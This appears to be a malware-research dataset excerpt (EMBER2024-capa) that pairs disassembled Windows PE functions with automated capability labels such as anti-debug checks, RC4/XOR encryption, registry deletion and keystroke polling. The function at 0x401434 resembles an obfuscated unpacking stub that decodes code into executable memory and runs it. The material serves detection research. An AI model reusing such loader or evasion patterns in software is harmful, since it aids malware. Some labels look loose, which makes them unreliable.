joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a9d60
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x529403
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.0051c2b0
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [0x52b158]
push eax
mov ecx, edi
call fcn.00521948
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.00522f5e
test eax, eax
je 0x4a9e7c
mov ecx, dword [esp + 0x3c]
call fcn.00521975
mov ecx, dword [esi + 0x1c]
mov ebp, dword [0x52b5f4]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x4a9e40
push edi
mov ecx, esi
call fcn.0051efe5
mov ecx, esi
call fcn.004aa020
cmp dword [esp + 0x38], 1
jne 0x4a9e75
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0051f120
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28

Function at 0x4ac060
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4ac093
push esi
call fcn.004ba2f0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4ac08c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4ac119
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4ac102
mov eax, dword [esi + 8]
test eax, eax
je 0x4ac0b7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4ac0fe
cmp eax, 2
je 0x4ac102
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4ac0aa
cmp eax, 3
je 0x4ac0dd
cmp eax, 1
jne 0x4ac0aa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4ac0aa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4ac0aa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004ac140
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4ac128
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004ac140
add esp, 4
pop esi
ret
Function at 0x4d2660
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
mov cl, byte [esi]
test cl, cl
je 0x4d2679
cmp cl, 0x90
je 0x4d2679
cmp cl, 0xcc
je 0x4d2679
pop esi
xor eax, eax
ret
mov edx, dword [esp + 0xc]
mov eax, 1
cmp edx, eax
jbe 0x4d2690
cmp byte [eax + esi], cl
jne 0x4d2675
inc eax
cmp eax, edx
jb 0x4d2686
pop esi
mov eax, 1
ret
Function at 0x4f05c0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x10a3a6c]
xor edx, edx
cmp eax, edx
jne 0x4f05e6
xor eax, eax
mov byte [eax + 0x10a396c], al
inc eax
cmp eax, 0x100
jl 0x4f05ce
mov dword [0x10a3a6c], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x10a396c
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4f0677
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4f064a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4f0618
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4f06f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4f0743
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4f072a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4f70d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x529f5e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.004f79f0
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x1019604
call fcn.0051aa18
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x4f7163
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.0051aa18
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x4f715c
push 0
mov ecx, eax
call fcn.004ee200
mov dword [esi + 0xc], eax
jmp 0x4f7165
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x4f7165
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8
Function at 0x10c1c10
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
sub esp, 0x4c
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x10c1d1c
test eax, eax
je 0x10c1d1c
push esi
push edi
mov ecx, 0x10
mov esi, 0x10dcfe8
lea edi, [ebp - 0x4c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x14]
mov esi, dword [esi]
add esi, eax
mov dword [ebp - 8], esi
xor esi, esi
mov dword [ebp - 4], 0
mov ecx, eax
test edx, edx
jbe 0x10c1d03
lea edi, [eax + 4]
jmp 0x10c1c67
mov ebx, dword [ebp + 8]
movzx eax, byte [esi + ebx]
inc esi
shl eax, 0x10
cmp esi, edx
jne 0x10c1c7c
mov dword [ebp - 4], 2
jmp 0x10c1c9d
movzx ebx, byte [esi + ebx]
shl ebx, 8
inc esi
or eax, ebx
cmp esi, edx
jne 0x10c1c93
mov dword [ebp - 4], 1
jmp 0x10c1c9d
mov edx, dword [ebp + 8]
movzx edx, byte [esi + edx]
or eax, edx
inc esi
mov edx, eax
and edx, 0x3f
cmp edi, dword [ebp - 8]
ja 0x10c1d13
mov ebx, eax
shr ebx, 0x12
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
mov byte [ecx], bl
mov ebx, eax
shr ebx, 0xc
and ebx, 0x3f
movzx ebx, byte [ebp + ebx - 0x4c]
inc ecx
inc edi
mov byte [ecx], bl
mov ebx, dword [ebp - 4]
inc ecx
inc edi
cmp ebx, 1
jbe 0x10c1cd6
mov byte [ecx], 0x3d
jmp 0x10c1ce2
shr eax, 6
and eax, 0x3f
mov al, byte [ebp + eax - 0x4c]
mov byte [ecx], al
inc ecx
inc edi
test ebx, ebx
jbe 0x10c1ced
mov byte [ecx], 0x3d
jmp 0x10c1cf3
mov dl, byte [ebp + edx - 0x4c]
mov byte [ecx], dl
mov edx, dword [ebp + 0xc]
inc ecx
inc edi
cmp esi, edx
jb 0x10c1c64
mov eax, dword [ebp + 0x10]
sub ecx, eax
mov eax, dword [ebp + 0x14]
pop edi
pop esi
mov dword [eax], ecx
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417e10
Capabilities:
Get disk information

Disassembly:
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x4c74c0], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0
mov esi, eax
mov dword [esp + 8], 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x4c3074
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test esi, esi
mov dword [0x4c6afc], eax
je 0x417e5b
lea eax, [esp + 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
pop esi
mov ecx, dword [esp]
add ecx, eax
mov eax, ecx
pop ecx
ret

Function at 0x4bb371
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c33b0
cmp edx, dword [eax]
je 0x4bb393
add eax, 8
inc ecx
cmp eax, 0x4c3440
jl 0x4bb384
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c33b0]
jne 0x4bb4c1
mov eax, dword [0x4c7d3c]
cmp eax, 1
je 0x4bb49b
test eax, eax
jne 0x4bb3c4
cmp dword [0x4c32d8], 1
je 0x4bb49b
cmp edx, 0xfc
je 0x4bb4c1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb3fb
lea eax, [ebp - 0x1a4]
push 0x4c0860
push eax
call fcn.004bbd50
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc1e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb43e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc1e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c085c
push edi
call fcn.004be0b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c0840
push eax
call fcn.004bbd50
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bbd60
lea eax, [ebp - 0xa0]
push 0x4c083c
push eax
call fcn.004bbd60
push dword [esi + 0x4c33b4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bbd60
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c0814
push eax
call fcn.004be024
add esp, 0x2c
pop edi
jmp 0x4bb4c1
lea eax, [ebp + 8]
lea esi, [esi + 0x4c33b4]
push 0
push eax
push dword [esi]
call fcn.004bc1e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x401443
pop dword [ebp - 0x34]
mov eax, 0xe10444da
add eax, 0x1f3bcf69
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x1c6e7c02
sub dword [ebp - 0x44], 0xce1c36b7
mov dword [ebp - 0x40], 0x623a9e4
sub dword [ebp - 0x40], 0xd3f05d9f
mov dword [ebp - 0x3c], 0x659ee684
add dword [ebp - 0x3c], 0xe6ad5daa
mov dword [ebp - 0x38], 0xa435f69c
sub dword [ebp - 0x38], 0xa435f69c
lea eax, [ebp - 0x44]
push eax
mov eax, 0x4e95fa07
add eax, 0xb1aa86fd
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x58b080f2
sub dword [ebp - 0x44], 0xe43e179c
mov dword [ebp - 0x40], 0xb5eeb38e
sub dword [ebp - 0x40], 0x74825219
mov dword [ebp - 0x3c], 0x4f95f979
sub dword [ebp - 0x3c], 0xec268d0d
mov dword [ebp - 0x38], 0x509679
add dword [ebp - 0x38], 0xffaf6987
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xbf616472
add eax, 0x40df1c8e
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x39eda
push 0
call eax
mov ecx, 0x4e8d
xor esi, esi
add esi, eax
mov edi, 0x58d17d53
add edi, 0xa77566ad
add edi, dword [ebp - 0x34]
mov ebx, 0xa4791c0e
sub dword [ebp - 8], edi
mov edx, dword [edi]
sub dword [ebp - 0x1c], 0x2f95960a
xor edx, ebx
sub dword [ebp - 0x14], eax
mov dword [esi], edx
add dword [ebp - 0x20], edi
add esi, 0xb13fc5af
sub esi, 0xb13fc5ab
add edi, 0x3b95877e
sub edi, 0x3b95877a
loop 0x40155b
add eax, 0x457fe10
add eax, 0xfba92ef7
mov ebx, eax
add eax, 5
mov ecx, 0xf49fa016
add ecx, 0xba05fea
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x404d71
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x50
push ebp
lea eax, [esp + 0x28]
push edi
push eax
call fcn.00404f21
mov ecx, dword [esp + 0x5c]
xor edx, edx
xor ebp, ebp
mov dword [esp + 0xc], 1
mov edi, dword [ecx]
mov dword [esp + 0x10], 8
mov dword [esp + 0x14], 2
mov dword [esp + 0x18], 4
mov dx, word [edi + 0x14]
cmp word [edi + 6], bp
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x20], 0x80
mov dword [esp + 0x24], 0x20
mov dword [esp + 0x28], 0x40
lea eax, [edx + edi + 0x18]
jbe 0x404e6f
push ebx
push esi
lea ebx, [eax + 0x24]
mov eax, dword [ebx]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x404e12
mov eax, dword [ebx - 0x14]
mov ecx, dword [ebx - 0x1c]
push 0x4000
push eax
push ecx
call dword [esp + 0x4c]
jmp 0x404e55
lea edx, [edx + ecx*2]
test eax, 0x4000000
lea ecx, [esi + edx*2]
mov esi, dword [esp + ecx*4 + 0x14]
je 0x404e29
or esi, 0x200
mov edx, dword [ebx - 0x14]
mov ecx, edx
test ecx, ecx
jne 0x404e44
test al, 0x40
je 0x404e3b
mov ecx, dword [edi + 0x20]
jmp 0x404e42
test al, 0x80
je 0x404e55
mov ecx, dword [edi + 0x24]
test ecx, ecx
jbe 0x404e55
mov ecx, dword [ebx - 0x1c]
lea eax, [esp + 0x10]
push eax
push esi
push edx
push ecx
call dword [esp + 0x44]
mov edx, dword [esp + 0x64]
xor eax, eax
inc ebp
add ebx, 0x28
mov edi, dword [edx]
mov ax, word [edi + 6]
cmp ebp, eax
jl 0x404de1
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x50
ret
Function at 0x484700
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x53515b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00526497
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x484782
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00523c51
mov eax, dword [eax]
push 0x582e60
push eax
call fcn.005152b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00526722
test bl, bl
je 0x484782
push 0x582e60
lea ecx, [esp + 0xc]
call fcn.00526ab2
push 0x582e6c
lea ecx, [esp + 0xc]
call fcn.00526ab2
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4847be
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00526722
jmp 0x484889
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x484842
lea edx, [esp + 0x7c]
push 0x582e68
push edx
call fcn.005152b4
add esp, 8
test eax, eax
je 0x484842
lea eax, [esp + 0x7c]
push 0x582e64
push eax
call fcn.005152b4
add esp, 8
test eax, eax
je 0x484842
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4847d2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00526722
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x485080
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4850e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4850f0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x5351db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5926b0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x485228
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x485156
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00526722
xor eax, eax
jmp 0x48529f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0052685f
push esi
lea ecx, [esp + 0xc]
call fcn.00526aee
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x48527d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.00485080
test eax, eax
jne 0x48527d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.00485080
test eax, eax
jne 0x48527d
lea eax, [esp + 0x14]
push 0x582e7c
push eax
call fcn.00516400
mov esi, eax
add esp, 8
test esi, esi
jne 0x48525c
lea ecx, [esp + 0x14]
push 0x582e78
push ecx
call fcn.00516380
mov esi, eax
add esp, 8
test esi, esi
jne 0x48525c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x48525f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0052680f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x48516e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00526722
xor eax, eax
jmp 0x48529f
mov byte [esi], 0
push 0x582e74
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00526722
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4987d0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x49883e
cmp si, 0x69
ja 0x49883e
add esi, 0xffd0
cmp si, 0x11
je 0x49880e
push 0x11
call edi
test ax, ax
jge 0x49880e
or esi, 0x2000
cmp si, 0x10
je 0x498823
push 0x10
call edi
test ax, ax
jge 0x498823
or esi, 0x4000
cmp si, 0x12
je 0x498838
push 0x12
call edi
test ax, ax
jge 0x498838
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x49884b
mov esi, 0xbd
jmp 0x4987ff
cmp si, 0x6e
jne 0x498858
mov esi, 0xbe
jmp 0x4987ff
cmp si, 0x6f
jne 0x4987f9
mov esi, 0xbf
jmp 0x4987ff

Function at 0x49a220
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5a3168]
xor edx, edx
cmp eax, edx
jne 0x49a246
xor eax, eax
mov byte [eax + 0x5a3068], al
inc eax
cmp eax, 0x100
jl 0x49a22e
mov dword [0x5a3168], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5a3068
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x49a2d7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x49a2aa
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x49a278
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x49a350
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x49a3a3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x49a38a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret